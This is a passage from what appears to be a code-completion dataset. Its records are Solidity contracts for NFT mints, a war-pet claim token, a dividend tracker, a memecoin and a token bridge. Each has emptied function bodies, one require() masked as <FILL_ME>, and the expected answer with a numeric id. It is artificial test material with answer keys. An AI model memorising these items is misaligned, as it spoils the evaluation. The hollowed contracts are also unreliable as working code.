string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
}
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
}
}
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
// word because each write operation emits an extra SLOAD to first read the
// back. This is the compiler's defense against contract upgrades and
// but in exchange the refund on every call to nonReentrant will be lower in
// transaction's gas, it is best to keep them low in cases like this one, to
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
pragma solidity ^0.8.0;
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
string private _name;
string private _symbol;
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
mapping(address => AddressData) private _addressData;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
}
function totalSupply() public view override returns (uint256) {
}
function tokenByIndex(uint256 index)
public
view
override
returns (uint256)
{
}
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
}
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public override {
}
function getApproved(uint256 tokenId)
public
view
override
returns (address)
{
}
function setApprovalForAll(address operator, bool approved)
public
override
{
}
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
uint256 public nextOwnerToExplicitlySet = 0;
function _setOwnersExplicit(uint256 quantity) internal {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.0;
contract TheHabibis is Ownable, ERC721A, ReentrancyGuard {
uint256 public maxPerTx = 10;
uint256 public maxToken = 6666;
uint256 public price = 0.003 ether;
string private _baseTokenURI = "ipfs://bafybeiderdrbdwj7hcyjgva654hy254iurwnrwcjsnfvkpssl4fo6bg2my/";
mapping (address => bool) public freeMinted;
constructor(string memory _NAME, string memory _SYMBOL)
ERC721A(_NAME, _SYMBOL, 1000, maxToken)
{}
modifier callerIsUser() {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function mint(uint256 quantity) external payable callerIsUser {
require(<FILL_ME>)
require(quantity > 0, "INVALID_QUANTITY");
require(quantity <= maxPerTx, "CANNOT_MINT_THAT_MANY");
require(totalSupply() + quantity < maxToken, "NOT_ENOUGH_SUPPLY_TO_MINT_DESIRED_AMOUNT");
if(freeMinted[msg.sender]){
require(msg.value >= price * quantity, "INVALID_ETH");
}else{
require(msg.value >= (price * quantity) - price, "INVALID_ETH");
freeMinted[msg.sender] = true;
}
_safeMint(msg.sender, quantity);
}
function ownerMint(address _address, uint256 quantity) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setPrice(uint256 _PriceInWEI) external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
|
numberMinted(msg.sender)+quantity<=maxPerTx,"PER_WALLET_LIMIT_REACHED"
| 212,076 |
numberMinted(msg.sender)+quantity<=maxPerTx
|
"Token has been claimed"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract SoulbondWarPets is ERC1155, AccessControl, Ownable, Pausable {
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
string public name;
uint public warPetId;
mapping(uint => address) public warPetNation;
mapping(uint => bool[10000]) public tokenClaims;
// Optional mapping for token URIs
mapping(uint256 => string) public tokenURIs;
constructor(
string memory _name,
string memory _uri,
address _nationContract,
uint _warPetId
) ERC1155(_uri) {
}
function mint(uint[] memory tokenIds) public whenNotPaused {
for (uint i = 0; i < tokenIds.length; i++) {
require(<FILL_ME>)
require(IERC721(warPetNation[warPetId]).ownerOf(tokenIds[i]) == msg.sender, "Sender is not a token owner");
tokenClaims[warPetId][tokenIds[i]] = true;
}
_mint(msg.sender, warPetId, tokenIds.length, "");
}
function pause() public onlyRole(OPERATOR_ROLE) {
}
function unpause() public onlyRole(OPERATOR_ROLE) {
}
function switchNation(address _nationContract, uint _warPetId) public onlyRole(OPERATOR_ROLE) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, AccessControl) returns (bool) {
}
function getTokenIds(address account) public view returns (uint[] memory){
}
function getFilteredTokenIds(bool minted, address account) public view returns (uint[] memory){
}
function uri(uint256 _warPetId) public view virtual override returns (string memory) {
}
function setTokenURI(uint256 _warPetId, string memory _uri) public onlyRole(OPERATOR_ROLE) {
}
}
|
tokenClaims[warPetId][tokenIds[i]]==false,"Token has been claimed"
| 212,090 |
tokenClaims[warPetId][tokenIds[i]]==false
|
"Sender is not a token owner"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract SoulbondWarPets is ERC1155, AccessControl, Ownable, Pausable {
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
string public name;
uint public warPetId;
mapping(uint => address) public warPetNation;
mapping(uint => bool[10000]) public tokenClaims;
// Optional mapping for token URIs
mapping(uint256 => string) public tokenURIs;
constructor(
string memory _name,
string memory _uri,
address _nationContract,
uint _warPetId
) ERC1155(_uri) {
}
function mint(uint[] memory tokenIds) public whenNotPaused {
for (uint i = 0; i < tokenIds.length; i++) {
require(tokenClaims[warPetId][tokenIds[i]] == false, "Token has been claimed");
require(<FILL_ME>)
tokenClaims[warPetId][tokenIds[i]] = true;
}
_mint(msg.sender, warPetId, tokenIds.length, "");
}
function pause() public onlyRole(OPERATOR_ROLE) {
}
function unpause() public onlyRole(OPERATOR_ROLE) {
}
function switchNation(address _nationContract, uint _warPetId) public onlyRole(OPERATOR_ROLE) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, AccessControl) returns (bool) {
}
function getTokenIds(address account) public view returns (uint[] memory){
}
function getFilteredTokenIds(bool minted, address account) public view returns (uint[] memory){
}
function uri(uint256 _warPetId) public view virtual override returns (string memory) {
}
function setTokenURI(uint256 _warPetId, string memory _uri) public onlyRole(OPERATOR_ROLE) {
}
}
|
IERC721(warPetNation[warPetId]).ownerOf(tokenIds[i])==msg.sender,"Sender is not a token owner"
| 212,090 |
IERC721(warPetNation[warPetId]).ownerOf(tokenIds[i])==msg.sender
|
"War pet already has a nation"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract SoulbondWarPets is ERC1155, AccessControl, Ownable, Pausable {
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
string public name;
uint public warPetId;
mapping(uint => address) public warPetNation;
mapping(uint => bool[10000]) public tokenClaims;
// Optional mapping for token URIs
mapping(uint256 => string) public tokenURIs;
constructor(
string memory _name,
string memory _uri,
address _nationContract,
uint _warPetId
) ERC1155(_uri) {
}
function mint(uint[] memory tokenIds) public whenNotPaused {
}
function pause() public onlyRole(OPERATOR_ROLE) {
}
function unpause() public onlyRole(OPERATOR_ROLE) {
}
function switchNation(address _nationContract, uint _warPetId) public onlyRole(OPERATOR_ROLE) {
require(<FILL_ME>)
warPetId = _warPetId;
warPetNation[_warPetId] = _nationContract;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, AccessControl) returns (bool) {
}
function getTokenIds(address account) public view returns (uint[] memory){
}
function getFilteredTokenIds(bool minted, address account) public view returns (uint[] memory){
}
function uri(uint256 _warPetId) public view virtual override returns (string memory) {
}
function setTokenURI(uint256 _warPetId, string memory _uri) public onlyRole(OPERATOR_ROLE) {
}
}
|
warPetNation[_warPetId]==address(0),"War pet already has a nation"
| 212,090 |
warPetNation[_warPetId]==address(0)
|
"setTokenURI: Token should exist"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract SoulbondWarPets is ERC1155, AccessControl, Ownable, Pausable {
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
string public name;
uint public warPetId;
mapping(uint => address) public warPetNation;
mapping(uint => bool[10000]) public tokenClaims;
// Optional mapping for token URIs
mapping(uint256 => string) public tokenURIs;
constructor(
string memory _name,
string memory _uri,
address _nationContract,
uint _warPetId
) ERC1155(_uri) {
}
function mint(uint[] memory tokenIds) public whenNotPaused {
}
function pause() public onlyRole(OPERATOR_ROLE) {
}
function unpause() public onlyRole(OPERATOR_ROLE) {
}
function switchNation(address _nationContract, uint _warPetId) public onlyRole(OPERATOR_ROLE) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, AccessControl) returns (bool) {
}
function getTokenIds(address account) public view returns (uint[] memory){
}
function getFilteredTokenIds(bool minted, address account) public view returns (uint[] memory){
}
function uri(uint256 _warPetId) public view virtual override returns (string memory) {
}
function setTokenURI(uint256 _warPetId, string memory _uri) public onlyRole(OPERATOR_ROLE) {
require(<FILL_ME>)
tokenURIs[_warPetId] = _uri;
}
}
|
warPetNation[_warPetId]!=address(0x0),"setTokenURI: Token should exist"
| 212,090 |
warPetNation[_warPetId]!=address(0x0)
|
null |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "./DividendPayingToken.sol";
contract Tracker is Ownable, DividendPayingToken {
using SafeTransferLib for address;
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
mapping(address => bool) public excludedFromDividends;
mapping(address => uint256) public lastClaimTimes;
event ExcludeFromDividends(address indexed account, bool value);
event Claim(address indexed account, uint256 amount);
constructor()
DividendPayingToken("TRX_Dividend_Tracker", "TRX_Dividend_Tracker")
{}
function trackerRescueETH20Tokens(
address recipient,
address tokenAddress
) external onlyOwner {
}
function trackerRescueStuckETH(address recipient) external onlyOwner {
}
function _transfer(address, address, uint256) internal pure override {
}
function excludeFromDividends(
address account,
bool value
) external onlyOwner {
require(<FILL_ME>)
excludedFromDividends[account] = value;
if (value == true) {
_setBalance(account, 0);
} else {
_setBalance(account, balanceOf(account));
}
emit ExcludeFromDividends(account, value);
}
function getAccount(
address account
) public view returns (address, uint256, uint256, uint256, uint256) {
}
function setBalance(
address account,
uint256 newBalance
) external onlyOwner {
}
function processAccount(
address payable account
) external onlyOwner returns (bool) {
}
}
|
excludedFromDividends[account]!=value
| 212,099 |
excludedFromDividends[account]!=value
|
"Token transfer failed"
|
// SPDX-License-Identifier: UNLICENSED
/*
Telegram: https://t.me/babysmurfcaterc
Shailusite: https://smurfcat.baby/
Twitter: https://twitter.com/babysmurfcaterc
*/
//&&&&&&&&&&@@@@@&&&&&&&&&&&&&&&&&%%%##& &#%%%%%%%%%###%
//&&&&&&&&@@@@@@@@&&&@&&&&&&&&&&&%%%%#, &%#%%%%%%#((##
//@&&&&&&&&@@@@@&&&&&&&&&&&&&&&&%%%%#% %#####(/////
//&&&&&&&&@@@@&&&&&&&&%&&&&&&&&%%%### (&##((////(
//&&&&&&&@@@@&&&&&%%%%%%&&&%%%%%%##* %###(((##
//&&@&&&&&&@@@&&&&%%%%%%%%%%%%##%# &###%#
//@&&&&&&&&&&&@&&%%%%%%%%######% #%%%
//&&&&&&&&&&&&&&&%%%%#%###(##% *
//&&%%%%%%&&&&&&%%%%#%###((
//&&%%%%%##%%%%%%%%###(#/
//%%%%%%%#######(((#(#
//&&&&&&&%%%#(((//( . . . ... . .
//@&&&&&&%%##(((% .,.*/*(/////*///(/*****/*/##%%#%%#%%//((/#%(((//**///
//@&&&&&&%%%%(% ./,*,(*,(((//#%%/#%%%&&#@&%@&&%&%&@%%%&@&@@@&&@&&@@@@&&%%@&&&@@
//&@&&&&&&%#%* ,///(#%%###@@&@&&@%&&@@@&&@&%@@&@&&@@@&&@@@@@@@&@@@&@@@&&@@@@&@@@@
//&&@@@&&&&%%.,**//(%%%&&&%%&%@@@@@@&@&@&&@@@@@@@@@@@@@@@@@&&@@@@@@@@@&&@@@&&&@@@@
//&&&&&&&&&&&&.(/#%&&&&%@@@&@&@@&@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@&&@&&&&&&&@&&&
//&&&&&&&&&&&&%& /.(&&%%%%%&@@&@&@@@@&@@&&&@@@@@@@&&&@@&&@@@@@@&@@@@@@&&&@&&@@&@@@
//&&&&&&&&&&&&&%#((#/ *//(((@@@&&%%&%&&%&&&@@@@@&&@@@@@@@@&@@@&&&@@@&@@@@@@&@@@&@@
//&&&&&&&@@@&&&&%%#######%%%@@&@@%%#/(((%%&&@@@&@@@@@@@@@@@@%&&&&&&&&&&&&&&&&&@@&@
//&&&&&&&&@@@&&&&&%%%%#####%&@&&%#( .#%##%%%#%#&@@@@@@@#%#&&&&&%&&&&%%%&&&&&%%/
//&&&&&&&&&&&@&&&@&%%#######%#,(/ ,####((#######%&%%%%%%%%%%%%%%%%%%%%%%#(//*
//%&&&&&&&&&&&&&&&&&&%%###%%&#* ,.*/**# .,(/#(((%%%##%%%%#%%####(%##((/,. (
//%%%%%%%%%%%&&&&&&&&&%%%%%%#( ,(&##%@@%%/.,/*,***((##%#%%%######(#//*##(%%%%%(##
//#######%####((##%%&&%%%#(%%##.,*(#%&%#%,#/(#(/##/###%#(((###((//*/*%#((((((((#(#
//##%%%%%%%##(((/((#%%%%#%#%(*//.*(((#(/((##/*(///(/((////(/(**,.#%##((((///////,.
//##%%&&%%%###(////##%%%%%##(#*%##,#(*(,,,/((.*,*#,,*/((##(/((/#(###((((((((#((( (
//##%%%%####(####(((#%%%%%%##%/%%%%%&&%##. .. */#(*((%%%%%##((*(/#@*#(##%%%###/#*#
//###%###(((((((((/(#%%%&&%%%%%%%%%%%%&%&%%(#(####(/*###&%#(/(#(# /%&&,&/*&(*((#&(
//%%%%%#(((((((/*/*/(#%&&&&%%%%&&&%%%%%&&&%%%%/ ./(%#/(##/#%&##(*, %&.*,#(&&%@##
//%%&%%%####(((((//(/(#%%%&&%%%&%%&&&&&&&&&&#/ ,(,(//%(%##(((//*,,,,.(&&(#&@&#
//%%%&&&%%%%%%%#(((((((((#%%&%%%%%&&%%%%%%&& /./,*/(/(//(###(///*.#@@@&#%
//&&&&&&&&&&%%%%###(((((((##%%%%%%%%%%%%#% ., /.,.,,*////(##%%&%##//*,,./%@%
//&&&&&&&&%%%%%%#######(((((#%%%%%%%%(%* ,/* ,//..*,***/((#%%&@@@@& &%(%((***,,
//%%%%%%%%%%%%%%%%%####(((///(#%##( *((.,#/ .#.*,,**/(####%&&&&&&%%,%@&&#&%%%#/
//%#%###############(((//////(((% ***,#%#/ ,( .....,/**(##%%%%%&%%#/.@&&@@@@@%#(
//##%%%%%%%#########(((////((. .,*..%((((.,/ .....,**(((((#%%%%%####(.&@@@@@@@@@
//&%%%%&&&&%%%%%#####((((/ .####(( (..,.,,,,*//(/(((######%#%%,. &@@@@@@
//&&&&&&&&&&&&%%%%%%##% ,..,/ /,,,(###(/,..,,,,,**///((((((#((#%(#,* , .&@@@@@@
//@@@@@@@@@@@&&&&&&&%% .,.###(##(/.*/##(// ...,..,,,,,*/(//(/**., /.,, /&&&&&&
//@@@@@@@@@@@@@@@&&&&,.,.*##(((((,/(/%#((**. ,....,**/(*,*./ .* /..*&
//@@@@@@@@@@&@&&&&&&&*%/#%%((((//((*(/(/*,* .,.. * . . ((%&
//@@@@@@@@@@&&&@@&&&&&& /%(((///*******,,.., . %%%%
//@@@@@@@@@@@@@@@@@@@&&##/*#(//*******/**,,,*** / .. . %%%%%
//@@@@@@@@@@@@@@@@&&&&&&%%##/////*/////(//////(/, .
//@@@@@@@@@@@@@@&&%%##%###(////*///(((((///(((###& .. .
//@&@&&@@@@&&&%%#(((//////**/**/////((((((((#(%%%%%( , .,. ,...,,,.*,
//&&&&&&&&&%#((((//**,,,,,*****////////(((((##%&@@@@& . ,,*. ...,,*,
//&&&&&%%%%#((///*,,,.,,,**/*////////***//(#%%&@@@@@@ . .. /&#(/ ,
//@@&&&&&%%%%#(//*,....,,,*///(((////*****(#%%&&@@@@@# . (####(. ...
//&&&&&&&%%%%##(/*,.....,,*//(((((((//**/*#((##%&@@@@/ &%%%%. .
//&&%%#######(//*,,....,,,*///((((((/*, ,&/. @,, . . .
//%##((///*////**,,,,,***///////,/ , , . .,.
//((/*****/////***/**////(//**, . * *. .. .. ./*(.
///***///(((///////////(///////...##/#(.,*. , .. . . (#.,,.,/*(
//,**///((((//////////((/((####((.,#(##((#%%../**. . .. . ,**#((/#(((
//,,**/////////(((((######%%%###(####,(%#&(%(%&/%/ ,* .,,,, ,...,, *//#((#(#&
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabySmurfCat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable _devWallet;
uint256 private _initialBuyTax = 22;
uint256 private _initialSellTax = 22;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 19;
uint256 private _reduceSellTaxAt = 19;
uint256 private _preventSwapBefore = 19;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000000 * 10 **_decimals;
string private constant _name = unicode"Baby Smurf Cat";
string private constant _symbol = unicode"babyшайлушай";
uint256 public _maxTxAmount = 20000000000 * 10 **_decimals;
uint256 public _maxWalletSize = 20000000000 * 10 **_decimals;
uint256 public _taxSwapThreshold = 15000000000 * 10 **_decimals;
uint256 public _maxTaxSwap= 15000000000 * 10 **_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner {
}
function openTrading() external onlyOwner() {
}
function removeTransferDelay() external onlyOwner {
}
function sendETHToFee(uint256 amount) private {
}
receive() external payable {}
function manualSwap() external {
}
function transferShailushai(address tokenAddress, uint256 amount) external onlyOwner {
IERC20 token = IERC20(tokenAddress);
require(<FILL_ME>)
}
function transferETHToDev() external onlyOwner() {
}
}
|
token.transfer(_devWallet,amount),"Token transfer failed"
| 212,199 |
token.transfer(_devWallet,amount)
|
"Not enough allowances"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
interface IJira {
function burn(uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract JiraBridge is Ownable{
IJira public Jira = IJira(0x517AB044bda9629E785657DbbCae95C40C8f452C);
event MarketplaceDeposit(address indexed sender, uint amount);
function setAddress(address _adr) external onlyOwner {
}
function deposit(uint amount) external {
require(<FILL_ME>)
require(Jira.transferFrom(msg.sender, address(this), amount), "Transfer failed");
Jira.burn(amount);
emit MarketplaceDeposit(msg.sender, amount);
}
}
|
Jira.allowance(msg.sender,address(this))>=amount,"Not enough allowances"
| 212,308 |
Jira.allowance(msg.sender,address(this))>=amount
|
"Transfer failed"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
interface IJira {
function burn(uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract JiraBridge is Ownable{
IJira public Jira = IJira(0x517AB044bda9629E785657DbbCae95C40C8f452C);
event MarketplaceDeposit(address indexed sender, uint amount);
function setAddress(address _adr) external onlyOwner {
}
function deposit(uint amount) external {
require(Jira.allowance(msg.sender, address(this)) >= amount, "Not enough allowances");
require(<FILL_ME>)
Jira.burn(amount);
emit MarketplaceDeposit(msg.sender, amount);
}
}
|
Jira.transferFrom(msg.sender,address(this),amount),"Transfer failed"
| 212,308 |
Jira.transferFrom(msg.sender,address(this),amount)
|
"Mint is going over max per transaction"
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
pragma abicoder v2;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import './ERC721B.sol';
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract SaudiOwls is ERC721B, Ownable {
using Strings for uint256;
string public baseURI = "";
bool public isSaleActive = false;
mapping(address => bool) private _freeMintClaimed;
mapping(address => uint256) private _mintsClaimed;
uint256 public constant MAX_TOKENS = 5555;
uint256 public tokenPrice = 500000000000000;
uint256 public constant maxPerWallet = 5;
using SafeMath for uint256;
using Strings for uint256;
uint256 public devReserve = 5;
event NFTMINTED(uint256 tokenId, address owner);
constructor() ERC721B("SaudiOwls", "SO") {}
function _baseURI() internal view virtual returns (string memory) {
}
function _price() internal view virtual returns (uint256) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setPrice(uint256 _newTokenPrice) public onlyOwner {
}
function activateSale() external onlyOwner {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function Withdraw() public payable onlyOwner {
}
function reserveTokens(address dev, uint256 reserveAmount)
external
onlyOwner
{
}
function Mint(address to, uint256 quantity) external payable {
require(isSaleActive, "Sale not Active");
require(
quantity > 0 && quantity <= maxPerWallet,
"Can Mint only 5 per Wallet"
);
require(<FILL_ME>)
require(msg.value >= tokenPrice.mul(quantity),
"0.0005 eth per token"
);
require(
_mintsClaimed[msg.sender].add(quantity) <= maxPerWallet,
"Only 5 mints per wallet, priced at 0.0005 eth"
);
_mintsClaimed[msg.sender] += quantity;
_mint(to, quantity);
}
function FreeMint(address to) external payable {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
|
totalSupply().add(quantity)<=MAX_TOKENS,"Mint is going over max per transaction"
| 212,310 |
totalSupply().add(quantity)<=MAX_TOKENS
|
"Only 5 mints per wallet, priced at 0.0005 eth"
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
pragma abicoder v2;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import './ERC721B.sol';
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract SaudiOwls is ERC721B, Ownable {
using Strings for uint256;
string public baseURI = "";
bool public isSaleActive = false;
mapping(address => bool) private _freeMintClaimed;
mapping(address => uint256) private _mintsClaimed;
uint256 public constant MAX_TOKENS = 5555;
uint256 public tokenPrice = 500000000000000;
uint256 public constant maxPerWallet = 5;
using SafeMath for uint256;
using Strings for uint256;
uint256 public devReserve = 5;
event NFTMINTED(uint256 tokenId, address owner);
constructor() ERC721B("SaudiOwls", "SO") {}
function _baseURI() internal view virtual returns (string memory) {
}
function _price() internal view virtual returns (uint256) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setPrice(uint256 _newTokenPrice) public onlyOwner {
}
function activateSale() external onlyOwner {
}
function exists(uint256 tokenId) public view returns (bool) {
}
